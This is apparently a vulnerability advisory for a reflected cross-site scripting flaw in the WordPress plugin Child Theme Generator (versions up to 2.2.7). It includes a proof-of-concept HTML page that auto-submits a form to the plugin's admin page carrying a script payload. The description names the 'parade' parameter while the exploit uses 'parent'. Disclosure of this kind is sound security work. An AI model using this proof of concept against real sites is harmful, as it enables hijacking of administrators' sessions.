Child Theme Generator <= 2.2.7 - Reflected Cross-Site Scripting

2021-11-1800:00:00

JrXnm

child theme generator

cross-site scripting

reflected

EPSS

0.001

Percentile

24.8%

JSON

The plugin does not sanitise escape the parade parameter before outputting it back, leading to a Reflected Cross-Site Scripting in the admin dashboard

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=child-theme-generator"  id="hack" method="POST">
      <input type="hidden" name="hidden_field" value="1" />
      <input type="hidden" name="parent" value="<script>alert(/XSS/);</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

EPSS

0.001

Percentile

24.8%

JSON

Related for WPEX-ID:8E53F15E-8B6A-4D47-A40D-4EBBE6934286